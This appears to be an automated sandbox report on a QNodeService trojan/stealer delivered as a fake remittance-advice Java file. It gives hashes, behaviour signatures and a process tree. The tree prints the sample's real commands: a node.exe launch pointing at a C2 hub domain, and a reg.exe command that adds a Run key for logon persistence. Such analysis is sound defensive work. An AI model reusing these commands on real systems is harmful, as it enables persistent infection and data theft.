Analysis
-
max time kernel
46s -
max time network
137s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
23-11-2020 00:55
Static task
static1
Behavioral task
behavioral1
Sample
Remittance Advice from Prespa Consultancy Pty Ltd(1).jar.zip.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Remittance Advice from Prespa Consultancy Pty Ltd(1).jar.zip.jar
Resource
win10v20201028
General
-
Target
Remittance Advice from Prespa Consultancy Pty Ltd(1).jar.zip.jar
-
Size
76KB
-
MD5
00fbaeac41cb0a4dbc032fd8593e5ae7
-
SHA1
4749439b523248dabe38e0236fe4dcb77ae55c24
-
SHA256
d0276ecaa9b9c49b3b1d53d5a6fd47288a33e626d6255a476c624d86dccf2fad
-
SHA512
9e6fc3e8b5cf6a31b90c624d4c47240aed90e613c508640855585033a83ca3e8b4b5b67bc469a049652968da02fa5f7390f9c1f3e828dfc26c8ea7b5ee98fc89
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 4200 node.exe 2952 node.exe 2772 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\6329ddbe-0d77-4052-bc23-8463fc658a95 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab72-171.dat js behavioral2/files/0x000100000001ab72-175.dat js behavioral2/files/0x000100000001ab72-179.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 wtfismyip.com 23 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4200 node.exe 4200 node.exe 4200 node.exe 4200 node.exe 2952 node.exe 2952 node.exe 2952 node.exe 2952 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe 2772 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4700 wrote to memory of 896 4700 java.exe 76 PID 4700 wrote to memory of 896 4700 java.exe 76 PID 896 wrote to memory of 4200 896 javaw.exe 80 PID 896 wrote to memory of 4200 896 javaw.exe 80 PID 4200 wrote to memory of 2952 4200 node.exe 82 PID 4200 wrote to memory of 2952 4200 node.exe 82 PID 2952 wrote to memory of 2772 2952 node.exe 83 PID 2952 wrote to memory of 2772 2952 node.exe 83 PID 2772 wrote to memory of 3908 2772 node.exe 85 PID 2772 wrote to memory of 3908 2772 node.exe 85 PID 3908 wrote to memory of 4728 3908 cmd.exe 86 PID 3908 wrote to memory of 4728 3908 cmd.exe 86
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\Remittance Advice from Prespa Consultancy Pty Ltd(1).jar.zip.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\33ec6a7e.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:896 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain manhasnoplug.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4200 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_7DNMla\boot.js --hub-domain manhasnoplug.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_7DNMla\boot.js --hub-domain manhasnoplug.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6329ddbe-0d77-4052-bc23-8463fc658a95" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6329ddbe-0d77-4052-bc23-8463fc658a95" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:4728
-
-
-
-
-
-